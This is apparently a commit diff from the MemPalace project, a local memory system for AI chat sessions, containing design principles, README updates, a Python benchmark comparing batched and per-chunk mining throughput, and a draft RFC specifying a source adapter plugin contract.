- **Verbatim always** — Never summarize, paraphrase, or lossy-compress user data. The system searches the index and returns the original words. If a user said it, we store exactly what they said. This is the foundational promise.
- **Incremental only** — Append-only ingest after initial build. Never destroy existing data to rebuild. A crash mid-operation must leave the existing palace untouched.
- **Entity-first** — Everything is keyed by real names with disambiguation by DOB, ID, or context. People matter more than topics.
- **Local-first, zero API** — All extraction, chunking, and embedding happens on the user's machine. No cloud dependency for memory operations. No API keys required.
- **Local-first, zero external API by default** — All extraction, chunking, embedding, and LLM-assisted refinement happens on the user's machine by default, using locally-hosted runtimes (Ollama, LM Studio, llama.cpp, vLLM, unsloth studio, etc.). External providers (Anthropic, OpenAI, Google) are supported via BYOK but are never required and never enabled silently. The system never sends user content to a service the user has not explicitly configured. "Local LLM" is not an external API — Ollama and equivalents running on localhost are part of the user's machine. External BYOK is always a deliberate user choice, never a default and never a silent fallback.
- **Performance budgets** — Hooks under 500ms. Startup injection under 100ms. Memory should feel instant.
- **Privacy by architecture** — The system physically cannot send your data because it never leaves your machine. No telemetry, no phone-home, no external service dependencies for core operations.
- **Background everything** — Filing, indexing, timestamps, and pipeline work happen via hooks in the background. Nothing interrupts the user's conversation. Zero tokens spent on bookkeeping in the chat window.
+6 -2
View File
@@ -55,7 +55,7 @@ mempalace init ~/projects/myapp
```bash
# Mine content into the palace
mempalace mine ~/projects/myapp # project files
mempalace mine ~/chats/ --mode convos # conversation exports
mempalace mine ~/.claude/projects/ --mode convos # Claude Code sessions (scope with --wing per project)
# Search
mempalace search "why did we switch to GraphQL"
@@ -149,6 +149,10 @@ system prompt:
Two Claude Code hooks save periodically and before context compression:
[mempalaceofficial.com/guide/hooks](https://mempalaceofficial.com/guide/hooks.html).
For per-message recall on top of the file-level chunks the hooks produce,
run `mempalace sweep <transcript-dir>` periodically — it stores one
verbatim drawer per user/assistant message, idempotent and resume-safe.
---
## Requirements
@@ -177,7 +181,7 @@ PRs welcome. See [CONTRIBUTING.md](CONTRIBUTING.md).
MIT — see [LICENSE](LICENSE).
<!-- Link Definitions -->
[version-shield]: https://img.shields.io/badge/version-3.3.1-4dc9f6?style=flat-square&labelColor=0a0e14
[version-shield]: https://img.shields.io/badge/version-3.3.4-4dc9f6?style=flat-square&labelColor=0a0e14
[release-link]: https://github.com/MemPalace/mempalace/releases
[python-shield]: https://img.shields.io/badge/python-3.9+-7dd8f8?style=flat-square&labelColor=0a0e14&logo=python&logoColor=7dd8f8
[python-link]: https://www.python.org/
+301
View File
@@ -0,0 +1,301 @@
"""Mining throughput benchmark: per-chunk vs batched upsert, CPU vs GPU.
Compares the legacy per-chunk ``add_drawer`` loop against the batched
``collection.upsert`` path introduced in the "batched upsert + GPU" PR.
Runs both paths on an identical seeded synthetic corpus, reports
wall-clock time + drawers/sec, and prints a markdown table suitable
for pasting into a PR description.
Usage
-----
# CPU (whatever onnxruntime is installed — CPU if you don't have
# onnxruntime-gpu):
uv run python benchmarks/mine_bench.py
# GPU (NVIDIA):
uv venv /tmp/gpu && source /tmp/gpu/bin/activate
uv pip install -e '.[gpu]' 'nvidia-cudnn-cu12>=9,<10' \\
'nvidia-cuda-runtime-cu12' 'nvidia-cublas-cu12'
export LD_LIBRARY_PATH=$(python -c "import nvidia.cudnn, os; \\
print(os.path.dirname(nvidia.cudnn.__file__)+'/lib')"):$LD_LIBRARY_PATH
MEMPALACE_EMBEDDING_DEVICE=cuda python benchmarks/mine_bench.py
Flags
-----
--device cpu|cuda|coreml|dml|auto Override MEMPALACE_EMBEDDING_DEVICE
--scenarios small,medium,large Which scenarios to run
--seed 42 RNG seed for reproducibility
"""
from __future__ import annotations
import argparse
import hashlib
import os
import random
import shutil
import string
import sys
import tempfile
import time
from datetime import datetime
from pathlib import Path
def build_corpus(dest: Path, n_files: int, paragraphs_per_file: int, seed: int) -> None:
"""Generate ``n_files`` markdown files of random words under ``dest``."""
rng = random.Random(seed)
dest.mkdir(parents=True, exist_ok=True)
for i in range(n_files):
paragraphs = []
for _ in range(paragraphs_per_file):
words = [
"".join(rng.choices(string.ascii_lowercase, k=rng.randint(3, 10)))
for _ in range(12)
]
paragraphs.append(" ".join(words))
(dest / f"doc_{i:03d}.md").write_text("\n\n".join(paragraphs))
(dest / "mempalace.yaml").write_text(
"wing: bench\n"
"rooms:\n"
" - name: general\n"
" description: all\n"
" keywords: [general]\n"
)
def _process_file_unbatched(filepath, project_path, collection, wing, rooms, agent, closets_col):
"""Legacy per-chunk upsert path (pre-batching).
Reproduces the exact loop shape the miner used before this PR so the
comparison is apples-to-apples; only the upsert granularity differs.
"""
from mempalace import miner
from mempalace.palace import (
build_closet_lines,
file_already_mined,
mine_lock,
purge_file_closets,
upsert_closet_lines,
)
source_file = str(filepath)
if file_already_mined(collection, source_file, check_mtime=True):
return 0, "general"
try:
content = filepath.read_text(encoding="utf-8", errors="replace")
except OSError:
return 0, "general"
content = content.strip()
if len(content) < miner.MIN_CHUNK_SIZE:
return 0, "general"
room = miner.detect_room(filepath, content, rooms, project_path)
chunks = miner.chunk_text(content, source_file)
with mine_lock(source_file):
if file_already_mined(collection, source_file, check_mtime=True):
return 0, room
try:
collection.delete(where={"source_file": source_file})
except Exception:
pass
drawers_added = 0
for chunk in chunks:
miner.add_drawer(
collection=collection,
wing=wing,
room=room,
content=chunk["content"],
source_file=source_file,
chunk_index=chunk["chunk_index"],
agent=agent,
)
drawers_added += 1
if closets_col and drawers_added > 0:
drawer_ids = [
f"drawer_{wing}_{room}_"
f"{hashlib.sha256((source_file + str(c['chunk_index'])).encode()).hexdigest()[:24]}"
for c in chunks
]
closet_lines = build_closet_lines(source_file, drawer_ids, content, wing, room)
closet_id_base = (
f"closet_{wing}_{room}_"
f"{hashlib.sha256(source_file.encode()).hexdigest()[:24]}"
)
closet_meta = {
"wing": wing,
"room": room,
"source_file": source_file,
"drawer_count": drawers_added,
"filed_at": datetime.now().isoformat(),
"normalize_version": miner.NORMALIZE_VERSION,
}
purge_file_closets(closets_col, source_file)
upsert_closet_lines(closets_col, closet_id_base, closet_lines, closet_meta)
return drawers_added, room
def mine_once(project_dir: str, palace_path: str, batched: bool) -> tuple[int, float]:
"""Mine a project dir with either the batched (new) or per-chunk (old) path."""
from mempalace import miner
from mempalace.miner import load_config, scan_project
from mempalace.palace import get_closets_collection, get_collection
project_path = Path(project_dir).resolve()
config = load_config(project_dir)
wing = config["wing"]
rooms = config.get("rooms", [])
files = scan_project(project_dir)
collection = get_collection(palace_path)
closets = get_closets_collection(palace_path)
total = 0
t0 = time.perf_counter()
for filepath in files:
if batched:
drawers, _ = miner.process_file(
filepath=filepath,
project_path=project_path,
collection=collection,
wing=wing,
rooms=rooms,
agent="bench",
dry_run=False,
closets_col=closets,
)
else:
drawers, _ = _process_file_unbatched(
filepath, project_path, collection, wing, rooms, "bench", closets
)
total += drawers
return total, time.perf_counter() - t0
def _reset_backend_caches() -> None:
"""Drop the in-process client cache so each run pays cold-open cost equally."""
from mempalace.palace import _DEFAULT_BACKEND
_DEFAULT_BACKEND._clients.clear()
_DEFAULT_BACKEND._freshness.clear()
def run_scenario(label: str, n_files: int, paragraphs_per_file: int, seed: int) -> dict:
"""Run one scenario under both code paths and return a result dict."""
print(f"\n=== {label}: {n_files} files × {paragraphs_per_file} paragraphs ===")
results = {}
for mode in ("unbatched", "batched"):
tmp = Path(tempfile.mkdtemp(prefix=f"mp_{mode}_"))
try:
proj = tmp / "proj"
palace = tmp / "palace"
build_corpus(proj, n_files, paragraphs_per_file, seed=seed)
_reset_backend_caches()
drawers, dt = mine_once(str(proj), str(palace), batched=(mode == "batched"))
rate = drawers / dt if dt > 0 else 0.0
results[mode] = (drawers, dt, rate)
print(f" {mode:10} {drawers:5} drawers in {dt:6.2f}s → {rate:7.1f} drawers/sec")
finally:
shutil.rmtree(tmp, ignore_errors=True)
_, t_u, r_u = results["unbatched"]
d_b, t_b, r_b = results["batched"]
speedup = t_u / t_b if t_b > 0 else 0.0
print(f" speedup: {speedup:.2f}× ({t_u:.2f}s → {t_b:.2f}s)")
return {
"label": label,
"n_files": n_files,
"paragraphs": paragraphs_per_file,
"drawers": d_b,
"unbatched_time": t_u,
"unbatched_rate": r_u,
"batched_time": t_b,
"batched_rate": r_b,
"speedup": speedup,
}
SCENARIOS = {
"small": ("Small files (~50 paragraphs)", 10, 50),
"medium": ("Medium files (~200 paragraphs)", 20, 200),
"large": ("Large files (~500 paragraphs)", 10, 500),
}
def _env_summary(device_label: str) -> list[str]:
"""Short hardware + version lines included with the printed table."""
import platform
try:
import chromadb
chromadb_v = chromadb.__version__
except Exception:
chromadb_v = "?"
try:
import onnxruntime as ort
ort_v = ort.__version__
providers = ",".join(p.replace("ExecutionProvider", "") for p in ort.get_available_providers())
except Exception:
ort_v = "?"
providers = "?"
return [
f"device: **{device_label}** (onnxruntime {ort_v}, providers={providers})",
f"chromadb {chromadb_v} · python {sys.version.split()[0]} · {platform.platform()}",
]
def main() -> None:
parser = argparse.ArgumentParser(description=__doc__.split("\n\n", 1)[0])
parser.add_argument(
"--device",
default=None,
help="Override MEMPALACE_EMBEDDING_DEVICE (cpu|cuda|coreml|dml|auto)",
)
parser.add_argument(
"--scenarios",
default="small,medium,large",
help="Comma-separated scenario names (default: all)",
)
parser.add_argument("--seed", type=int, default=42)
args = parser.parse_args()
if args.device:
os.environ["MEMPALACE_EMBEDDING_DEVICE"] = args.device
from mempalace.embedding import describe_device, get_embedding_function
device_label = describe_device()
print(f"Warming up ONNX model on device={device_label}...")
ef = get_embedding_function()
ef(["warmup sentence one", "warmup sentence two"])
picked = [s.strip() for s in args.scenarios.split(",") if s.strip()]
results = []
for key in picked:
if key not in SCENARIOS:
print(f"Unknown scenario {key!r}; choices: {sorted(SCENARIOS)}", file=sys.stderr)
sys.exit(2)
label, n_files, paras = SCENARIOS[key]
results.append(run_scenario(label, n_files, paras, args.seed))
print("\n\n## Mining benchmark\n")
for line in _env_summary(device_label):
print(line + " ")
print()
print("| Scenario | Files | Drawers | Per-chunk (old) | Batched (new) | Speedup |")
print("| --- | ---: | ---: | ---: | ---: | ---: |")
for r in results:
print(
f"| {r['label']} | {r['n_files']} | {r['drawers']} | "
f"{r['unbatched_time']:.2f}s · {r['unbatched_rate']:.0f} drw/s | "
f"{r['batched_time']:.2f}s · {r['batched_rate']:.0f} drw/s | "
f"**{r['speedup']:.2f}×** |"
)
if __name__ == "__main__":
main()
+768
View File
@@ -0,0 +1,768 @@
# RFC 002 — Source Adapter Plugin Specification
- **Status:** Draft
- **Tracking issue:** [#989](https://github.com/MemPalace/mempalace/issues/989)
- **Related:** [#274](https://github.com/MemPalace/mempalace/issues/274), [#23](https://github.com/MemPalace/mempalace/pull/23), [#169](https://github.com/MemPalace/mempalace/pull/169), [#232](https://github.com/MemPalace/mempalace/pull/232), [#567](https://github.com/MemPalace/mempalace/pull/567), [#98](https://github.com/MemPalace/mempalace/pull/98), [#591](https://github.com/MemPalace/mempalace/pull/591), [#592](https://github.com/MemPalace/mempalace/pull/592), [#702](https://github.com/MemPalace/mempalace/pull/702), [#981](https://github.com/MemPalace/mempalace/issues/981), [#244](https://github.com/MemPalace/mempalace/pull/244), [#419](https://github.com/MemPalace/mempalace/pull/419), [#300](https://github.com/MemPalace/mempalace/pull/300), [#952](https://github.com/MemPalace/mempalace/pull/952), [#389](https://github.com/MemPalace/mempalace/pull/389), [#434](https://github.com/MemPalace/mempalace/pull/434)
- **Sibling spec:** [RFC 001 — Storage Backend Plugin Specification](001-storage-backend-plugin-spec.md)
- **Spec version:** `1.0`
## Summary
A formal contract for MemPalace source adapters so third parties can ship `pip install mempalace-source-<name>` packages (Cursor, OpenCode, git, Slack, Notion, email, calendar, Whisper transcripts, …) that drop into `mempalace mine` without patching core. The spec defines the adapter interface, record shape, metadata schema contract, privacy class, entry-point registration, incremental-ingest semantics, closet integration, a declared-transformation model that replaces the informal "verbatim" promise with a verifiable one, conformance tests, and the refactor of the existing file and conversation miners into first-party adapters on the same contract.
RFC 001 formalized the write side (where drawers are stored). This RFC formalizes the read side (where content comes from). Both are required for MemPalace to function as a durable daemon managing heterogeneous palaces across many source types.
## Motivation
Six source ingesters are currently in flight, each solving the same problem a different way:
| PR / Issue | Source | Mechanism |
|---|---|---|
| [#274](https://github.com/MemPalace/mempalace/issues/274) | Cursor | `workspaceStorage/*.vscdb` SQLite extraction |
| [#23](https://github.com/MemPalace/mempalace/pull/23) | OpenCode | SQLite session database |
| [#169](https://github.com/MemPalace/mempalace/pull/169) | Pi agent | JSONL session normalizer |
| [#232](https://github.com/MemPalace/mempalace/pull/232) | Cursor (JSONL variant) | JSONL normalizer |
| [#567](https://github.com/MemPalace/mempalace/pull/567), [#98](https://github.com/MemPalace/mempalace/pull/98) | Git | `git log` + `gh pr view` with structured diff summary |
| [#591](https://github.com/MemPalace/mempalace/pull/591), [#592](https://github.com/MemPalace/mempalace/pull/592) | Delphi Oracle | Real-time intelligence signals |
| [#702](https://github.com/MemPalace/mempalace/pull/702) | Cursor + factory.ai | Combined session miners |
Plus three ingesters already grafted into core:
- `mempalace/miner.py` — filesystem project miner, fixed char-window chunking, keyword hall routing
- `mempalace/convo_miner.py` — chat transcript miner with exchange-pair chunking
- `mempalace/normalize.py` — format detection for four chat-export shapes (Claude Code JSONL, Codex JSONL, Claude.ai / ChatGPT / Slack JSON)
Plus one open proposal for a different ingest semantic:
- [#981](https://github.com/MemPalace/mempalace/issues/981) — path-level descriptions: mine metadata-as-content instead of raw bytes for matched paths. This is a legitimate third ingest mode (alongside chunked-content and whole-record) that the current architecture has no home for.
Each contributor has reinvented source discovery, source-item identity, incremental-ingest bookkeeping, metadata shape, and chunking strategy. Format detection for new chat exports lands in `normalize.py` as one more branch in an `if` chain. There is no shared abstraction, no conformance suite, and no contract new adapter authors can build against.
This is the same situation RFC 001 addresses for storage backends: a pattern that emerged organically, now needs a specification so the community can contribute cleanly and enterprises can build against a stable surface.
### Why this matters beyond developer tooling
The adapter pattern is source-agnostic. What has so far shown up as "Cursor transcripts" and "git commits" generalizes to:
- **Knowledge work** — Notion, Obsidian, Logseq, Google Docs, iA Writer, Zettlr
- **Communications** — Slack, Discord, Teams, Signal backups, mbox/eml email, iMessage
- **Research** — arXiv PDFs, Zotero libraries, bookmarked articles, Kindle highlights, web archives
- **Creator workflows** — YouTube captions, podcast transcripts (Whisper/Deepgram), Descript projects
- **Regulated domains** — medical records, legal filings, financial statements (all gated on §6 privacy class)
Enterprises key on their own domain metadata — `repo/PR/SHA` for engineering, `patient/encounter/CPT` for healthcare, `case/docket/jurisdiction` for legal. The schema lives in the adapter; the content lives in the drawer. This is how structured-data use cases are served without violating the byte-preservation commitments adapters make.
## Goals
1. A source adapter ships as a standalone Python package; `pip install mempalace-source-<name>` is sufficient to use it.
2. `mempalace mine` and the MCP mine tool are source-agnostic — all extraction goes through registered adapters. No `if source_type == 'foo'` branches in core.
3. Content transformations are **declared** (§1.4): each adapter advertises the set of transformations it applies to source bytes. Byte-preserving adapters declare the empty set. Consumers can programmatically determine what happened to their data.
4. Incremental ingest is cheap and correct: re-running mine only touches items whose source-side version changed, using the palace itself as the cursor (no sidecar).
5. Each adapter declares a structured metadata schema. Enterprises index and filter on that schema. Core is schema-agnostic beyond the universal fields in §5.1.
6. The existing `miner.py` and `convo_miner.py` become the first two first-party adapters on the new contract. Drawer metadata fields and field names are preserved — the spec adds fields, does not rename them.
7. A privacy class is declarable at the adapter boundary so sensitive sources (medical, financial, personal comms) are handled with explicit policy rather than implicit trust.
## Non-goals
- Defining chunking. Each adapter owns its chunking strategy — tree-sitter for code, exchange-pair for chat, whole-record for a PR. Core does not impose a chunk size.
- Defining live-stream / webhook shapes (the Delphi Oracle pattern of continuous signal ingestion). That is a separate future RFC; v1 is pull-mode.
- Defining LLM-based structured extraction. Adapters MAY use an LLM; the spec does not mandate or standardize this.
- Defining cross-adapter dedup. When the same content appears via two adapters (e.g., a PR body mined via `git` and as a conversation quote mined via `claude-code`), both drawers land. Deduplication policy is a separate concern handled at query time by `searcher.py`.
- Defining closet construction. Core continues to build closets from adapter-yielded drawers (§1.7); the closet-building algorithm itself is not part of this spec.
---
## 1. Source adapter contract
### 1.1 Required method
All adapters implement `BaseSourceAdapter` with a single kwargs-only ingest method:
```python
class BaseSourceAdapter(ABC):
@abstractmethod
def ingest(
self,
*,
source: SourceRef,
palace: PalaceContext,
) -> Iterator[IngestResult]:
"""Enumerate and extract content from a source.
Yields a stream of IngestResult values. Lazy adapters yield
`SourceItemMetadata` ahead of the drawers for that item, so core
can report progress and check `is_current` before the adapter
commits to the fetch. Adapters with no lazy-fetch benefit may
interleave `SourceItemMetadata` and `DrawerRecord` items freely.
"""
@abstractmethod
def describe_schema(self) -> AdapterSchema:
"""Declare the structured metadata this adapter attaches.
Returned value is stable for a given adapter version. Enterprises
index on this schema; core uses it to validate adapter output.
"""
```
The single-method `ingest()` contract was chosen over a `discover` / `extract` split. Most current ingesters have no meaningful laziness benefit (filesystem walking is cheap, transcript normalizing is cheap). Adapters that do (git-mine's `gh pr list` vs `gh pr view`; hypothetical Slack/Notion API) express laziness by yielding `SourceItemMetadata` first and deferring fetch until core confirms staleness via `is_current()`.
### 1.2 Optional methods (default implementations on the ABC)
```python
def is_current(
self,
*,
item: SourceItemMetadata,
existing_metadata: dict | None,
) -> bool:
"""Return True if the palace already has an up-to-date copy.
Called by core after querying the palace for existing drawers with
matching source_file. The adapter compares its version token against
the stored metadata and returns True to skip extraction.
Default implementation: returns False (always re-extract). Adapters
advertising `supports_incremental` override this.
"""
return False
def source_summary(self, *, source: SourceRef) -> SourceSummary:
"""Describe a source without extracting (e.g., 'git repo mempalace,
847 commits, 132 PRs'). Default: returns empty summary."""
return SourceSummary(description=self.name)
def close(self) -> None:
return None
```
Core's incremental loop (pseudocode):
```python
for result in adapter.ingest(source=source, palace=ctx):
if isinstance(result, SourceItemMetadata):
existing = ctx.collection.get(where={"source_file": result.source_file}, limit=1)
if adapter.is_current(item=result, existing_metadata=existing):
ctx.skip_current_item() # adapter stops yielding drawers for this item
elif isinstance(result, DrawerRecord):
ctx.upsert_drawer(result)
```
### 1.3 Typed records
```python
@dataclass(frozen=True)
class SourceRef:
"""A handle to the source a user wants to ingest.
local_path is for filesystem-rooted sources (project dir, mbox file).
uri is for URL-like references (github.com/org/repo, slack://workspace/channel).
options carries adapter-specific config (non-secret values only; §M2).
"""
local_path: str | None = None
uri: str | None = None
options: dict = field(default_factory=dict)
@dataclass(frozen=True)
class SourceItemMetadata:
"""Lightweight pointer yielded before drawers for lazy-fetch adapters."""
source_file: str # Logical identity — filesystem path, PR URI, etc.
version: str # Source-side version token (mtime, commit SHA, ETag, rev id).
size_hint: int | None = None # Bytes, if known. Used for progress reporting.
route_hint: RouteHint | None = None
@dataclass(frozen=True)
class DrawerRecord:
"""One drawer's worth of content plus metadata."""
content: str # Subject to §1.4 declared transformations.
source_file: str # Foreign key to SourceItemMetadata.source_file.
chunk_index: int = 0 # 0 for single-drawer items; 0..N-1 for chunked items.
metadata: dict = field(default_factory=dict) # Flat: str/int/float/bool only. Must conform to adapter schema.
route_hint: RouteHint | None = None
@dataclass(frozen=True)
class RouteHint:
wing: str | None = None
room: str | None = None
hall: str | None = None
@dataclass(frozen=True)
class SourceSummary:
description: str
item_count: int | None = None
# IngestResult is the union type adapters yield.
IngestResult = SourceItemMetadata | DrawerRecord
# PalaceContext carries collection handles, palace config, and progress hooks
# into the adapter. Full definition in §9 (cleanup prerequisite).
```
### 1.4 Declared transformations
Adapters cannot silently alter content. Every adapter declares the set of transformations it applies:
```python
class BaseSourceAdapter(ABC):
declared_transformations: ClassVar[frozenset[str]] = frozenset()
```
The invariant: **no transformation is applied that is not declared in this set**. Adapters declaring `frozenset()` are byte-preserving end-to-end (modulo the read, which may itself involve `utf8_replace_invalid` — see below).
Reserved transformation names (v1):
| Name | Meaning |
|---|---|
| `utf8_replace_invalid` | Undecodable bytes replaced with U+FFFD on read (equivalent to `open(..., errors="replace")`). |
| `newline_normalize` | CRLF / CR converted to LF. |
| `whitespace_trim` | Leading / trailing whitespace stripped at a record boundary. |
| `whitespace_collapse_internal` | Runs of three or more blank lines collapsed to two. |
| `line_trim` | Each line individually stripped of leading / trailing whitespace. |
| `line_join_spaces` | Adjacent lines joined with single spaces, newlines discarded. |
| `blank_line_drop` | Empty lines between non-empty lines dropped. |
| `strip_tool_chrome` | System tags, hook output, tool UI chrome removed (see `normalize.strip_noise`). |
| `tool_result_truncate` | Tool output heads/tails kept; middle replaced with a marker string. |
| `spellcheck_user` | User turns rewritten by spellcheck. |
| `synthesized_marker` | Adapter inserts its own strings (e.g., `[N lines omitted]`, `[registry] …`, Slack provenance footer). |
| `speaker_role_assignment` | Multi-party speakers alternately assigned `user` / `assistant` roles (Slack). |
| `tool_result_omitted` | Some tool outputs fully omitted from transcript (e.g., Read/Edit/Write results in `normalize._format_tool_result`). |
Adapters MAY define their own transformation names for behaviors the reserved list does not cover. Third-party names SHOULD be prefixed with the adapter name to avoid collisions (e.g., `cursor.composer_ordering`).
**Capability derivation:**
- `byte_preserving` — declared_transformations is empty AND output bytes equal input bytes for any source the adapter can read. Advertised via the `byte_preserving` capability (§2.1). MUST be verified by §7.2 round-trip test.
- `declared_lossy` — declared_transformations is non-empty. The adapter's output is reproducible from source by applying *only* the declared transformations. MUST be verified by §7.3 declared-transformation test.
**Existing code mapping (for the cleanup PR):**
| Module | Declared transformations |
|---|---|
| `filesystem` (current `miner.py`) | `utf8_replace_invalid`, `whitespace_trim` |
| `conversations` (current `convo_miner.py` + `normalize.py`) | `utf8_replace_invalid`, `newline_normalize`, `line_trim`, `line_join_spaces`, `blank_line_drop`, `whitespace_collapse_internal`, `strip_tool_chrome`, `tool_result_truncate`, `tool_result_omitted`, `spellcheck_user`, `synthesized_marker`, `speaker_role_assignment` |
The filesystem adapter is nearly byte-preserving today; the conversations adapter is extensively transformed. Both are honest after this spec lands because both are fully declared.
This replaces the MISSION.md promise of "verbatim always" with a stronger one: every adapter publishes what it does to your data, and the conformance suite verifies it hasn't lied. "Verbatim" becomes a capability some adapters hold (byte_preserving), not a global claim about a lossy pipeline.
### 1.5 Three ingest modes
A single adapter declares one or more of three modes via a class attribute:
```python
class BaseSourceAdapter(ABC):
supported_modes: ClassVar[frozenset[Literal["chunked_content", "whole_record", "metadata_only"]]]
```
| Mode | Content origin |
|---|---|
| `chunked_content` | Source bytes, split into chunks the adapter chooses (current filesystem behavior). |
| `whole_record` | Source bytes, one drawer per source item (e.g., PR → 1 drawer). |
| `metadata_only` | Synthesized description of a source item (absorbs #981). The description bytes are authored by the user or adapter, not the source. Declared transformations (§1.4) do not apply — content is not derived from source bytes. |
`metadata_only` resolves #981: description-mode matches a path pattern and produces one drawer whose content is the user-authored description rather than the file contents. Conformance tests (§7.2, §7.3) skip `metadata_only` records.
An adapter MAY support multiple modes and select per-item; the per-item mode is recorded in `metadata["ingest_mode"]` (§5.1). This field already exists on conversation drawers (`convo_miner.py:346`) and is the only existing field whose semantics this spec extends rather than preserves.
### 1.6 Chunking delegation
Core does not impose chunking. `miner.py`'s 800-character sliding window is the filesystem adapter's default for unknown file types — not a contract. Adapter authors choose what makes sense:
- Code files → tree-sitter function/class boundaries (future enhancement to the filesystem adapter).
- Chat transcripts → exchange pairs (current `convo_miner.py` behavior).
- PRs → whole-record (current `git-mine` behavior in #567).
- PDFs → page or section.
- Voice transcripts → speaker turn.
The sole cross-adapter requirement for `chunked_content` mode: chunks for a given `source_file`, re-assembled in `chunk_index` order and accounting for declared transformations in §1.4, reproduce the adapter's internal representation of the source. The conformance suite verifies this.
### 1.7 Closet integration
Closets are the AAAK-compressed index layer (`palace.build_closet_lines`, `upsert_closet_lines`) that points to drawer content and enables LLM-scale scanning without reading every drawer. Closet-building is not an adapter concern:
- **Core builds closets** from adapter-yielded drawers as a post-step, via the existing `palace.py` helpers. Adapters do not call these APIs.
- **Adapters MAY emit closet hints** in drawer metadata via a flat `;`-joined string:
```python
metadata["closet_hints"] = "decided GraphQL; migrated to Postgres; fixed PR-567"
```
Core splits on `;` and feeds these as candidate topics alongside the content-scanned ones in `build_closet_lines`. The git adapter can hint decision-signal quotes that raw content-scanning would miss; the conversations adapter can hint section headers; the filesystem adapter has no need and omits the field.
- **metadata_only drawers get closets too.** Core builds them from the synthesized description content the same way it builds closets for any other drawer. This is how #981's path-level descriptions become searchable.
- **Closet purging** remains keyed on `source_file` (`purge_file_closets` in `palace.py:221`). Adapters' source_file values must be stable so purge is correct on re-ingest.
Current `convo_miner.py` does not build closets for conversation drawers — an existing gap. The cleanup PR (§9) routes the conversations adapter through the same post-step closet builder as filesystem, closing the gap as a side effect.
---
## 2. Adapter contract
### 2.1 Identity and capabilities
```python
class BaseSourceAdapter(ABC):
name: ClassVar[str] # "filesystem", "cursor", "git", "slack", ...
spec_version: ClassVar[str] = "1.0"
adapter_version: ClassVar[str] # Independent of spec_version; recorded on every drawer.
capabilities: ClassVar[frozenset[str]]
supported_modes: ClassVar[frozenset[str]] # Per §1.5.
declared_transformations: ClassVar[frozenset[str]] # Per §1.4.
default_privacy_class: ClassVar[str] # Per §6.
```
Defined capability tokens (v1):
| Token | Meaning |
|---|---|
| `byte_preserving` | `declared_transformations` is empty AND extracted content equals source bytes. |
| `supports_incremental` | Implements `is_current()` meaningfully; `ingest()` respects `ctx.skip_current_item()`. |
| `supports_structured_metadata` | Attaches fields beyond §5.1 universals. |
| `supports_entity_hints` | Emits entity hints via `metadata["entity_hints_json"]` (§5.4). |
| `supports_kg_triples` | Writes knowledge-graph triples directly to the SQLite KG (§5.5). |
| `supports_closet_hints` | Emits `metadata["closet_hints"]` (§1.7). |
| `requires_auth` | Needs credentials at runtime (env vars — §4.2). |
| `requires_external_service` | Needs a running service (Slack API, email server). |
| `requires_local_tool` | Needs a local binary (`gh`, `rg`, `whisper`). |
| `adapter_owns_routing` | Returns authoritative `RouteHint` values from `ingest()` that core uses as-is (§G3 / §2.5). |
| `respects_privacy_class` | Honors §6 privacy-class filtering. |
Capability tokens are free-form strings; third-party adapters MAY declare novel tokens for their ecosystem. Core only inspects the above.
### 2.2 Source references
See `SourceRef` in §1.3. The shape is deliberately open — adapters parse `uri` and `options` as they see fit. Core does not canonicalize URIs.
**Secrets in `SourceRef.options`:** credentials MUST NOT be placed in `options`. The spec reserves `options` for non-secret values (paths, filters, date ranges). Secrets come from env vars per §4.2. An adapter that reads a credential from `options` violates the spec and MUST be rejected by the conformance suite.
### 2.3 Lifecycle
1. `__init__`: lightweight. No I/O, no network, no credential fetch.
2. First call to `ingest`: may open resources. All I/O is lazy.
3. `close()`: releases all resources. After `close()`, further calls MUST raise `AdapterClosedError`.
### 2.4 Concurrency
An adapter instance is long-lived and serves many mine operations. Adapters MUST be thread-safe for concurrent `ingest` calls across different `SourceRef` values. MemPalace core serializes calls within a single `SourceRef` unless an adapter advertises `supports_parallel_ingest` (not in v1 — reserved for v1.1).
### 2.5 Routing
Routing is the adapter's responsibility. The filesystem adapter reads `mempalace.yaml` (hall keywords, rooms list) via `MempalaceConfig()` and returns `RouteHint(wing=..., room=..., hall=...)` on each drawer. This relocates `detect_room()` and `detect_hall()` (currently in `miner.py` and `convo_miner.py`) into their respective adapters.
Order of precedence for routing:
1. Explicit `--wing` / `--room` CLI flags → passed through `SourceRef.options` → adapter honors verbatim.
2. Palace config match (`mempalace.yaml` hall keywords, room keywords) → adapter computes.
3. Adapter-internal fallback (e.g., filesystem adapter falls back to `"general"` room).
Adapters advertising `adapter_owns_routing` return the final answer; core uses it verbatim. Adapters not advertising it return None and core applies a generic fallback router (writing to wing `default`, room `general`, hall `general`). Absent any adapter, this is how `mempalace mine` behaves today.
### 2.6 Incremental ingest
`is_current()` is the incremental-ingest primitive. The palace itself is the cursor — no separate persisted state. Correctness requirements:
- The adapter's `SourceItemMetadata.source_file` MUST be stable across re-ingests of the same logical item. Filesystem adapter uses the absolute path (as today). Git adapter uses a URI shape like `github.com/org/repo#pr=567` or `github.com/org/repo#commit=abc123`.
- `is_current()` returns True when the stored metadata matches the adapter's current version token. The default implementation returns False (always re-extract) — adapters advertising `supports_incremental` override.
- Deletion tombstones: an adapter MAY yield a `SourceItemMetadata(source_file=..., version="__deleted__")` entry — core purges drawers with matching `source_file` and builds no new drawers for that item. Advertised via `supports_deletion_tombstones`.
- Adapters without `supports_incremental` ignore `is_current()` and fully re-extract. Core logs a warning.
### 2.7 Errors
- `SourceNotFoundError` — the `SourceRef` does not resolve.
- `AuthRequiredError` — adapter needs credentials; raises with a message describing which env vars to set.
- `AdapterClosedError` — method called after `close()`.
- `TransformationViolationError` — conformance suite raises this when the content round-trip requires an undeclared transformation.
- `SchemaConformanceError` — a `DrawerRecord.metadata` is missing required fields declared in `describe_schema()` or violates declared types.
---
## 3. Registration and discovery
### 3.1 Entry points (primary mechanism)
Third-party adapters ship as installable packages:
```toml
# pyproject.toml of mempalace-source-cursor
[project.entry-points."mempalace.sources"]
cursor = "mempalace_source_cursor:CursorAdapter"
```
MemPalace discovers adapters at process start via `importlib.metadata.entry_points(group="mempalace.sources")`.
### 3.2 In-tree registry (secondary)
```python
from mempalace.sources.registry import register
register("my-experimental-adapter", MyAdapter)
```
Entry-point discovery and explicit `register()` populate the same registry. Explicit registration wins on name conflict.
### 3.3 Selection (explicit only — no auto-detect)
Unlike storage backends (RFC 001 §3.3), source adapters are never auto-detected. The user selects the adapter explicitly:
```bash
mempalace mine --source cursor ~/ # explicit adapter
mempalace mine --source git /path/to/repo # explicit adapter
mempalace mine --source filesystem /path/to/project # explicit adapter
mempalace mine /path/to/project # implicit: filesystem (default)
```
